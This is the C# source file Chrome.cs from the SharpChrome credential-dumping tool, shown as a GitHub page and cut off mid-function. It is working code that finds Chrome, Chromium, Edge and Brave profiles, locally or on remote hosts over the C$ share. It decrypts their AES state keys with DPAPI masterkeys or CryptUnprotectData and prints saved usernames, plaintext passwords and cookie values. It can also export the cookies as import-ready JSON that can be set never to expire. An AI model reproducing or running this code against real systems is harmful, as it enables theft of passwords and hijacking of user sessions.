-
Notifications
You must be signed in to change notification settings - Fork 239
Expand file tree
/
Copy pathChrome.cs
More file actions
executable file
·945 lines (846 loc) · 44.6 KB
/
Chrome.cs
File metadata and controls
executable file
·945 lines (846 loc) · 44.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
using System;
using System.Management;
using System.Data;
using System.Security.Cryptography;
using System.IO;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Text;
using System.Text.RegularExpressions;
using SQLite;
using Microsoft.Win32;
namespace SharpChrome
{
class Chrome
{
internal static byte[] DPAPI_HEADER = UTF8Encoding.UTF8.GetBytes("DPAPI");
internal static byte[] DPAPI_CHROME_UNKV10 = UTF8Encoding.UTF8.GetBytes("v10");
internal const int AES_BLOCK_SIZE = 16;
// approach adapted from @djhohnstein's https://github.com/djhohnstein/SharpChrome/ project
// but using this CSHARP-SQLITE version https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp
public static void TriageChromeLogins(Dictionary<string, string> MasterKeys, string computerName = "", string userFolder = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome", bool quiet = false)
{
// triage all Chromium 'Login Data' files we can reach
List<string> userDirectories = new List<string>();
if (!String.IsNullOrEmpty(computerName))
{
// if we're triaging a remote computer, check connectivity first
if (!SharpDPAPI.Helpers.TestRemote(computerName))
{
return;
}
if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else
{
// Assume C$ (vast majority of cases)
string userDirectoryBase = String.Format("\\\\{0}\\C$\\Users\\", computerName);
userDirectories.AddRange(Directory.GetDirectories(userDirectoryBase));
}
}
else if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else if(SharpDPAPI.Helpers.IsHighIntegrity())
{
if($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18")
{
// if we're SYSTEM
if(MasterKeys.Count > 0)
{
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
else
{
if (!quiet)
{
Console.WriteLine("\r\n[!] Running as SYSTEM but no masterkeys supplied!");
}
return;
}
}
else if(MasterKeys.Count == 0)
{
// if we're elevated but not SYSTEM, and no masterkeys are supplied, assume we're triaging just the current user
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Logins for current user\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
else
{
// otherwise we're elevated and have masterkeys supplied, so assume we're triaging all users
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
}
else
{
// not elevated, no user folder specified, so triage current user
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Logins for current user\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
foreach(string userDirectory in userDirectories)
{
var loginDataPath = "";
var aesStateKeyPath = "";
if (browser.ToLower() == "chrome")
{
loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", userDirectory);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "chromium")
{
loginDataPath = String.Format("{0}\\AppData\\Local\\Chromium\\User Data\\Default\\Login Data", userDirectory);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Chromium\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "edge")
{
loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", userDirectory);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "brave")
{
loginDataPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data", userDirectory);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", userDirectory);
}
else
{
Console.WriteLine("[X] ERROR: only 'chrome', 'chromium', 'edge', and 'brave' are currently supported for browsers.");
return;
}
byte[] aesStateKey = null;
if (!String.IsNullOrEmpty(stateKey))
{
aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
}
else if (File.Exists(aesStateKeyPath))
{
// try to decrypt the new v80+ AES state file key, if it exists
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect, quiet);
}
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey, quiet);
}
}
public static void TriageChromeCookies(Dictionary<string, string> MasterKeys, string computerName = "", string userFolder = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome", bool quiet = false)
{
// triage all Chromium 'Login Data' files we can reach
List<string> userDirectories = new List<string>();
if (!String.IsNullOrEmpty(computerName))
{
// if we're triaging a remote computer, check connectivity first
if (!SharpDPAPI.Helpers.TestRemote(computerName))
{
return;
}
if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else
{
// Assume C$ (vast majority of cases)
string userDirectoryBase = String.Format("\\\\{0}\\C$\\Users\\", computerName);
userDirectories.AddRange(Directory.GetDirectories(userDirectoryBase));
}
}
else if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else if (SharpDPAPI.Helpers.IsHighIntegrity())
{
if ($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18")
{
// if we're SYSTEM
if (MasterKeys.Count > 0)
{
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Cookies for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
else
{
if (!quiet)
{
Console.WriteLine("\r\n[!] Running as SYSTEM but no masterkeys supplied!");
}
return;
}
}
else if (MasterKeys.Count == 0)
{
// if we're elevated but not SYSTEM, and no masterkeys are supplied, assume we're triaging just the current user
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Cookies for current user\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
else
{
// otherwise we're elevated and have masterkeys supplied, so assume we're triaging all users
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Cookies for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
}
else
{
// not elevated, no user folder specified, so triage current user
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Cookies for current user\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
foreach (string userDirectory in userDirectories)
{
var cookiePath = "";
var aesStateKeyPath = "";
if (browser.ToLower() == "chrome")
{
cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", userDirectory);
if(!File.Exists(cookiePath))
{
cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies", userDirectory);
}
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "chromium")
{
cookiePath = String.Format("{0}\\AppData\\Local\\Chromium\\User Data\\Default\\Cookies", userDirectory);
if (!File.Exists(cookiePath))
{
cookiePath = String.Format("{0}\\AppData\\Local\\Chromium\\User Data\\Default\\Network\\Cookies", userDirectory);
}
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Chromium\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "edge")
{
cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", userDirectory);
if (!File.Exists(cookiePath))
{
cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies", userDirectory);
}
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "brave")
{
cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", userDirectory);
if (!File.Exists(cookiePath))
{
cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies", userDirectory);
}
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", userDirectory);
}
else
{
Console.WriteLine("[X] ERROR: only 'chrome', 'chromium', 'edge', and 'brave' are currently supported for browsers.");
return;
}
byte[] aesStateKey = null;
if (!String.IsNullOrEmpty(stateKey))
{
aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
}
else if (File.Exists(aesStateKeyPath))
{
// try to decrypt the new v80+ AES state file key, if it exists
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect, quiet);
}
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey, quiet);
}
}
public static void TriageStateKeys(Dictionary<string, string> MasterKeys, string computerName = "", bool unprotect = false, string target = "", string userFolder = "")
{
// triage all Chromium state keys we can reach
List<string> userDirectories = new List<string>();
if (!String.IsNullOrEmpty(computerName))
{
// if we're triaging a remote computer, check connectivity first
if (!SharpDPAPI.Helpers.TestRemote(computerName))
{
return;
}
if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else
{
// Assume C$ (vast majority of cases)
string userDirectoryBase = String.Format("\\\\{0}\\C$\\Users\\", computerName);
userDirectories.AddRange(Directory.GetDirectories(userDirectoryBase));
}
}
else if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else if (SharpDPAPI.Helpers.IsHighIntegrity())
{
if ($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18")
{
// if we're SYSTEM
if (MasterKeys.Count > 0)
{
Console.WriteLine("[*] Triaging Chromium state keys for ALL users\r\n");
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
else
{
Console.WriteLine("\r\n[!] Running as SYSTEM but no masterkeys supplied!");
return;
}
}
else if (MasterKeys.Count == 0)
{
// if we're elevated but not SYSTEM, and no masterkeys are supplied, assume we're triaging just the current user
Console.WriteLine("[*] Triaging Chromium state keys for current user\r\n");
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
else
{
// otherwise we're elevated and have masterkeys supplied, so assume we're triaging all users
Console.WriteLine("[*] Triaging Chromium state keys for ALL users\r\n");
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
}
else
{
// not elevated, no user folder specified, so triage current user
Console.WriteLine("[*] Triaging Chromium state keys for current user\r\n");
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
foreach (string userDirectory in userDirectories)
{
string[] aesKeyPaths = new string[]
{
$"{userDirectory}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State",
$"{userDirectory}\\AppData\\Local\\Chromium\\User Data\\Local State",
$"{userDirectory}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State",
$"{userDirectory}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State"
};
foreach(var aesKeyPath in aesKeyPaths)
{
if (File.Exists(aesKeyPath))
{
byte[] aesStateKey = GetStateKey(MasterKeys, aesKeyPath, unprotect, false);
}
}
}
}
public static void ParseChromeLogins(Dictionary<string, string> MasterKeys, string loginDataFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, byte[] aesStateKey = null, bool quiet = false)
{
// takes an individual 'Login Data' file path and performs decryption/triage on it
if (!File.Exists(loginDataFilePath))
{
return;
}
BCrypt.SafeAlgorithmHandle hAlg = null;
BCrypt.SafeKeyHandle hKey = null;
if (aesStateKey != null)
{
// initialize the BCrypt key using the new DPAPI decryption method
DPAPIChromeAlgKeyFromRaw(aesStateKey, out hAlg, out hKey);
}
// convert to a file:/// uri path type so we can do lockless opening
// ref - https://github.com/gentilkiwi/mimikatz/pull/199
var uri = new System.Uri(loginDataFilePath);
string loginDataFilePathUri = String.Format("{0}?nolock=1", uri.AbsoluteUri);
bool someResults = false;
SQLiteConnection database = null;
try
{
database = new SQLiteConnection(loginDataFilePathUri, SQLiteOpenFlags.ReadOnly | SQLiteOpenFlags.OpenUri, false);
}
catch (Exception e)
{
Console.WriteLine("[X] {0}", e.InnerException.Message);
return;
}
if (!displayFormat.Equals("table") && !displayFormat.Equals("csv"))
{
Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat);
return;
}
string query = "SELECT signon_realm, origin_url, username_value, password_value, times_used, cast(date_created as text) as date_created FROM logins";
List<SQLiteQueryRow> results = database.Query2(query, false);
foreach (SQLiteQueryRow row in results)
{
byte[] passwordBytes = (byte[])row.column[3].Value;
byte[] decBytes = null;
// decrypt the password bytes using masterkeys or CryptUnprotectData()
if (HasV10Header(passwordBytes))
{
if (aesStateKey != null)
{
// using the new DPAPI decryption method
decBytes = DecryptAESChromeBlob(passwordBytes, hAlg, hKey);
if (decBytes == null)
{
continue;
}
}
else
{
decBytes = Encoding.ASCII.GetBytes(String.Format("--AES STATE KEY NEEDED--"));
}
}
else {
// using the old method
decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(passwordBytes, MasterKeys, "chrome", unprotect);
}
string password = Encoding.ASCII.GetString(decBytes);
DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString());
if ((password != String.Empty) || showAll)
{
if (displayFormat.Equals("table"))
{
if (!someResults)
{
Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath);
}
someResults = true;
Console.WriteLine("URL : {0} ({1})", row.column[0].Value, row.column[1].Value);
Console.WriteLine("Created : {0}", dateCreated);
Console.WriteLine("TimesUsed : {0}", row.column[4].Value);
Console.WriteLine("Username : {0}", row.column[2].Value);
Console.WriteLine("Password : {0}", password);
Console.WriteLine();
}
else
{
if (!someResults)
{
if (!quiet)
{
Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath);
}
else
{
Console.WriteLine("SEP=,");
}
Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password");
}
someResults = true;
Console.WriteLine("{0},{1},{2},{3},{4},{5},{6}",
SharpDPAPI.Helpers.StringToCSVCell(loginDataFilePath),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[0].Value)),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[1].Value)),
SharpDPAPI.Helpers.StringToCSVCell(dateCreated.ToString()),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[5].Value)),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[2].Value)),
SharpDPAPI.Helpers.StringToCSVCell(password));
}
}
}
database.Close();
}
public static void ParseChromeCookies(Dictionary<string, string> MasterKeys, string cookieFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, byte[] aesStateKey = null, bool quiet = false)
{
// takes an individual Cookies file path and performs decryption/triage on it
if (!File.Exists(cookieFilePath))
{
return;
}
BCrypt.SafeAlgorithmHandle hAlg = null;
BCrypt.SafeKeyHandle hKey = null;
if (aesStateKey != null)
{
// initialize the BCrypt key using the new DPAPI decryption method
DPAPIChromeAlgKeyFromRaw(aesStateKey, out hAlg, out hKey);
}
// convert to a file:/// uri path type so we can do lockless opening
// ref - https://github.com/gentilkiwi/mimikatz/pull/199
var uri = new System.Uri(cookieFilePath);
string cookieFilePathUri = String.Format("{0}?nolock=1", uri.AbsoluteUri);
bool someResults = false;
SQLiteConnection database = null;
if (!displayFormat.Equals("table") && !displayFormat.Equals("csv") && !displayFormat.Equals("json"))
{
Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat);
return;
}
try
{
database = new SQLiteConnection(cookieFilePathUri, SQLiteOpenFlags.ReadOnly | SQLiteOpenFlags.OpenUri, false);
}
catch (Exception e)
{
Console.WriteLine("[X] {0}", e.InnerException.Message);
return;
}
// old - fails in some cases due to partial indexing :(
//string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, is_secure, is_httponly, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies";
// new, seems to work with partial indexing?? "/giphy table flip"
string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies";
List<SQLiteQueryRow> results = database.Query2(query, false);
// used if cookies "never expire" for json output
DateTime epoch = new DateTime(1601, 1, 1);
TimeSpan timespan = (DateTime.Now).AddYears(100) - epoch;
long longExpiration = (long)Math.Abs(timespan.TotalSeconds * 1000000);
foreach (SQLiteQueryRow row in results)
{
try
{
byte[] decBytes = null;
// decrypt the encrypted cookie value with whatever data/method is specified
byte[] valueBytes = (byte[])row.column[6].Value;
if (HasV10Header(valueBytes))
{
if (aesStateKey != null)
{
// using the new DPAPI decryption method
decBytes = DecryptAESChromeBlob(valueBytes, hAlg, hKey);
if (decBytes == null)
{
continue;
}
}
else
{
decBytes = Encoding.ASCII.GetBytes(String.Format("AES State Key Needed"));
}
}
else
{
// using the old method
decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(valueBytes, MasterKeys, "chrome", unprotect);
}
string value = Encoding.ASCII.GetString(decBytes);
DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[0].Value.ToString());
DateTime expires = SharpDPAPI.Helpers.ConvertToDateTime(row.column[4].Value.ToString());
double expDateDouble = 0;
long expDate;
Int64.TryParse(row.column[4].Value.ToString(), out expDate);
// https://github.com/djhohnstein/SharpChrome/issues/1
if ((expDate / 1000000.000000000000) - 11644473600 > 0)
expDateDouble = (expDate / 1000000.000000000000000) - 11644473600;
DateTime lastAccess = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString());
// check conditions that will determine whether we're displaying this cookie entry
bool displayValue = false;
// if there is a regex
if (!String.IsNullOrEmpty(cookieRegex) || !String.IsNullOrEmpty(urlRegex))
{
// if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration
if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString()))
{
if (!String.IsNullOrEmpty(cookieRegex))
{
Match match = Regex.Match(row.column[2].Value.ToString(), cookieRegex, RegexOptions.IgnoreCase);
if (match.Success)
{
displayValue = true;
}
}
else if (!String.IsNullOrEmpty(urlRegex))
{
Match match = Regex.Match(row.column[1].Value.ToString(), urlRegex, RegexOptions.IgnoreCase);
if (match.Success)
{
displayValue = true;
}
}
}
}
else if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) {
// if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration
displayValue = true;
}
if (displayValue)
{
if (displayFormat.Equals("table"))
{
if (!someResults)
{
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
}
someResults = true;
Console.WriteLine("Host (path) : {0} ({1})", row.column[1].Value, row.column[3].Value);
Console.WriteLine("Cookie Name : {0}", row.column[2].Value);
Console.WriteLine("Cookie Value : {0}", value);
Console.WriteLine("Created/Expires/LastAccess : {0} / {1} / {2}\r\n", dateCreated, expires, lastAccess);
}
else if (displayFormat.Equals("json"))
{
if (!someResults)
{
if (!quiet)
{
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nCookie-Editor import JSON:\r\n\r\n[\r\n{{", cookieFilePath);
}
else
{
Console.WriteLine("[\r\n{");
}
}
else
{
Console.WriteLine("},\r\n{");
}
someResults = true;
Console.WriteLine(" \"domain\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[1].Value)));
if (setneverexpire)
{
Console.WriteLine(" \"expirationDate\": {0},", longExpiration);
}
else
{
if (expDateDouble != 0)
{
Console.WriteLine(" \"expirationDate\": {0},", expDateDouble);
}
}
Console.WriteLine(" \"hostOnly\": false,");
Console.WriteLine(" \"httpOnly\": true,");
Console.WriteLine(" \"name\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[2].Value)));
Console.WriteLine(" \"path\": \"{0}\",", String.Format("{0}", row.column[3].Value));
Console.WriteLine(" \"sameSite\": \"no_restriction\",");
Console.WriteLine(" \"secure\": true,");
Console.WriteLine(" \"session\": true,");
Console.WriteLine(" \"storeId\": null,");
Console.WriteLine(" \"value\": \"{0}\"", SharpDPAPI.Helpers.CleanForJSON(value));
}
else
{
// csv output
if (!someResults)
{
if (!quiet)
{
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
}
else
{
Console.WriteLine("SEP=,");
}
Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc");
}
someResults = true;
Console.WriteLine("{0},{1},{2},{3},{4},{5},{6},{7}",
SharpDPAPI.Helpers.StringToCSVCell(cookieFilePath),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[1].Value)),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[3].Value)),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[2].Value)),
SharpDPAPI.Helpers.StringToCSVCell(value),
SharpDPAPI.Helpers.StringToCSVCell(dateCreated.ToString()),
SharpDPAPI.Helpers.StringToCSVCell(expires.ToString()),
SharpDPAPI.Helpers.StringToCSVCell(lastAccess.ToString()));
}
}
}
catch {}
}
if (displayFormat.Equals("json") && someResults)
{
Console.WriteLine("}\r\n]\r\n");
}
database.Close();
}
// adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L322-L344
public static string GetBase64EncryptedKey(string localStatePath)
{
// extracts the base64 encoded encrypted chrome AES state key
string localStateData = File.ReadAllText(localStatePath);
string searchTerm = "encrypted_key";
int startIndex = localStateData.IndexOf(searchTerm);
if (startIndex < 0)
return "";
int keyIndex = startIndex + searchTerm.Length + 3;
string tempVals = localStateData.Substring(keyIndex);
int stopIndex = tempVals.IndexOf('"');
if (stopIndex < 0)
return "";
string base64Key = tempVals.Substring(0, stopIndex);
return base64Key;
}
// adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L292-L308
public static byte[] DecryptBase64StateKey(Dictionary<string, string> MasterKeys, string base64Key, bool unprotect)
{
byte[] encryptedKeyBytes = System.Convert.FromBase64String(base64Key);
if ((encryptedKeyBytes == null) || (encryptedKeyBytes.Length == 0))
{
return null;
}
if (SharpDPAPI.Helpers.ByteArrayEquals(DPAPI_HEADER, 0, encryptedKeyBytes, 0, 5))
{
byte[] encryptedKey = new byte[encryptedKeyBytes.Length - 5];
Array.Copy(encryptedKeyBytes, 5, encryptedKey, 0, encryptedKeyBytes.Length - 5);
if (unprotect)
{
byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
string decKey = BitConverter.ToString(decryptedKey);
return decryptedKey;
}
else
{
// TODO: masterkey decryption
byte[] decryptedKey = SharpDPAPI.Dpapi.DescribeDPAPIBlob(encryptedKey, MasterKeys, "chrome", unprotect);
return decryptedKey;
}
}
else
{
Console.WriteLine("[X] AES state key has unknown/non-DPAPI encoding.");
}
return null;
}
public static byte[] GetStateKey(Dictionary<string, string> MasterKeys, string localStatePath, bool unprotect, bool quiet)
{
// gets the base64 version of the encrypted state key
// and then decrypts it using either masterkeys or DPAPI functions
try
{
string b64StateKey = GetBase64EncryptedKey(localStatePath);
byte[] stateKey = DecryptBase64StateKey(MasterKeys, b64StateKey, unprotect);
if (stateKey != null)
{
if (!quiet)
{
Console.WriteLine("\r\n[*] AES state key file : {0}", localStatePath);
}
if (stateKey.Length == 32)
{
if (!quiet)
{
Console.WriteLine("[*] AES state key : {0}\r\n", BitConverter.ToString(stateKey).Replace("-", ""));
}
}
else
{
if (!quiet)
{
Console.WriteLine("[*] AES state key : {0}\r\n", Encoding.ASCII.GetString(stateKey));
}
return null;
}
}
return stateKey;
}
catch(Exception e)
{
if (($"{e.Message}".Contains("Key not valid for use in specified state")) && (unprotect))
{
Console.WriteLine($"[X] Error decrypting AES state key '{localStatePath}'\r\n [*] Likely attempt at using CryptUnprotectData() from invalid user context");
}
else
{
Console.WriteLine($"[X] Error decrypting AES state key '{localStatePath}': {e.Message}");
}
return null;
}
}
//kuhl_m_dpapi_chrome_alg_key_from_raw
// adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L352-L371
public static bool DPAPIChromeAlgKeyFromRaw(byte[] key, out BCrypt.SafeAlgorithmHandle hAlg, out BCrypt.SafeKeyHandle hKey)
{
bool bRet = false;
hAlg = null;
hKey = null;
uint ntStatus = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, "AES", null, 0);
if (ntStatus == 0)
{
